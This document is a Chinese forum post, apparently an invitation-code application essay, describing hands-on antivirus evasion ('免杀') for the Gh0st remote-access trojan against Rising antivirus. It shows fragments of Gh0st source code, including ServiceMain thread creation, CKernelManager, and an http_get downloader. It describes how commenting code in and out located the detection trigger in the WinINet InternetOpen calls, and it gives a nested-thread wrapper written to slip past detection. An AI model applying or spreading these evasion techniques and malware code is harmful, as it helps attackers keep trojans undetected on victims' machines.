申请邀请码 文章二
    
     最近几天做Gh0st免杀,在做到瑞星免杀时,碰到一个有些棘手的问题,输出表中ServiceMain总是被杀,新增输出函数还是移动位置都会被杀。本人前几天还上看雪咨询了一下,见帖 http://bbs.pediy.com/showthread.php?t=114979
     由于是做源代码免杀,而且要对gh0st做很多改动,加上本人非常讨厌非驱动类程序里面夹杂asm代码,所以实在不想用什么函数名加密法。于是只能硬着头皮研究一下瑞星查杀的特点。

    首先找出几个系统自带的由svchost启动的服务dll,分析其ServiceMain入口,对比gh0st的情况,发现没什么两样,然后用瑞星查杀一下,没报为病毒。这情况说明瑞星杀ServiceMain还有别的条件在里面,那别的条件是什么呢?于是我再次打开gh0st工程,找到ServiceMain函数入口,怎么分析呢,还是一段一段代码检查吧!

    第1步将该函数所有实现代码全注释掉,编译用瑞星查杀,发现瑞星没报病毒,看来分析思路是对的。
    第2步从上到下每次开启一部分代码进行编译,然后用瑞星查杀,最后发现下面这行代码开启的时候,瑞星肯定会报病毒
   

代码:
 HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
    那么这段代码是干嘛的呢,进去分析一下,是个线程创建函数,其中main是线程中的主调函数,svcname是线程参数,该线程参数最后被传做main函数的参数。
    难道ServiceMain里面不能创建线程?于是写了一段线程创建的代码替代该位置的MyCreateThread函数,编译,用瑞星查杀,没报病毒,说明不是线程创建的原因。
    难道是线程入口的原因?在ServiceMain里面创建线程函数为ThreadLoader的线程会当成木马?
    于是我copy一份ThreadLoader,将函数名改了一下如XXThreadLoader,在MyCreateThread函数实现中,用XXThreadLoader代ThreadLoader,编译,用瑞星查杀,瑞星报出病毒,说明瑞星并不将ThreadLoader作为判断病毒的第2条件。

    看来要对MyCreateThread好好整一下,将MyCreateThread copy出一份,将函数名改为xxyy,将原来的“一级”线程创建改为“二级”线程创建,修改后的实现代码类似如下形式:
代码:
    HANDLE xxyy ()
    {
      HANDLE  hThread = INVALID_HANDLE_VALUE;

  _beginthreadex(NULL, 
    0, 
    MS_ThreadLoader, 
    &hThread,
    0, 
    NULL
    );
    }

    unsigned int __stdcall MS_ThreadLoader(LPVOID param)
    {
  HANDLE* pHThread = (HANDLE*)param;
  *pHThread = (HANDLE)_beginthreadex(NULL, 
    0, 
    XX_ThreadLoader, 
    param,
    0, 
    NULL
    );

  return 0;
    }

    unsigned int __stdcall XX_ThreadLoader(LPVOID param)
    {
  unsigned int  nRet = 0;
#ifdef _DLL
  try
  {
#endif  
        main(param);
#ifdef _DLL
  }catch(...){};
#endif
  return nRet;
     }
     编译,进行查杀,可惜,还是被杀,看来这种变动线程入口的方法不能凑效
     那么把这段线程创建代码扔到dll入口函数DllMain的实现里面可以躲过查杀?
     试试看,将xxyy函数调用从ServiceMain移到DllMain里面,编译,进行查杀,不好,照样被杀。
     看来DllMain也被盯得很紧

     难道是线程里面的主调函数main的原因?应该是这里,将main copy出一份,将函数名改为gmain,将XX_ThreadLoader中main调用改为gmain,开始分析gmain的各段实现代码的影响,如上面分析MyCreateThread同样的方法。
     第1步,注释掉gmain中所有实现代码,编译,进行查杀,很好,没报病毒,看来思路对了。
     第2步,从上到下每次开启一部分代码进行编译,然后进行查杀,最后发现下面这3行代码开启的时候,会报病毒:

     
代码:
SetUnhandledExceptionFilter(bad_exception);
     
代码:
if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, 
        &dwProxyPort, &lpszProxyUser, &lpszProxyPass))
    
代码:
 CKernelManager  manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); 
     其中SetUnhandledExceptionFilter(bad_exception) 这一行是调用了MyCreateThread,这行代码暂时注释掉不管它。

     进入getLoginInfo,同样用“注释”、“开启”部分实现代码进行分析,发现只要是InternetOpen调用被启用时,瑞星就报病毒说明InternetOpen调用很有可能是“第2特征条件”
     
     将getLoginInfo里面的从InternetOpen调用开始部分算起的“那段代码”注释掉,进入CKernelManager分析阶段。
     
     开始分析CKernelManager

     首先注释掉CKernelManager的构造函数中所有代码,进行查杀,还是被杀。空的也被杀,说明什么呢?说明这时瑞星的“追杀”已到整个类,不管这个类的成员函数是否被调用
     继续用“注释”、“开启”部分实现代码进行分析,发现下面2行代码开启时会报病毒:

     
代码:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
      (LPVOID)(lpBuffer + 1), 0, NULL, true);
    
代码:
 if (UpdateServer((char *)lpBuffer + 1))
     对这2行代码继续分析下去,发现问题都出在http_get这个函数调用上,我们再来看http_get的实现代码:
 
代码:
    bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
{
  HINTERNET  hInternet, hUrl;
  HANDLE    hFile;
  char    buffer[1024];
  DWORD    dwBytesRead = 0;
  DWORD    dwBytesWritten = 0;
  BOOL    bIsFirstPacket = true;
  BOOL    bRet = true;
  
  hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
  if (hInternet == NULL)
    return false;
  
  hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
  if (hUrl == NULL)
    return false;
  
        //剩下的部分省去了
  ......
}
    咦,这么巧,这个函数也调到了InternetOpen这个api,getLoginInfo也调用了这个api,难道这个api就不能让它调用?应该是这个地方。
    
    把几个InternetXXX调用的地方全部注释掉,将ServiceMain中MyCreateThread调用那行恢复
    HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
    注释掉分析时xxyy函数的调用,编译,进行查杀,瑞星不再报病毒。
 
    总结:

    据此我们就能判断出瑞星杀ServiceMain时的第2特征条件就是 InternetXXX的调用上,不管你是“多级线程”调用,还是将涉及第2特征条件的代码移动到DllMain,它都能“追索”到,而且这种“追索”是涵盖整个类的所有成员函数,即使这个成员函数当时没被调用过。

    这也从另一个角度说明,有时也不要过于相信MyCCL定位特征码时所确定的“特征码”位置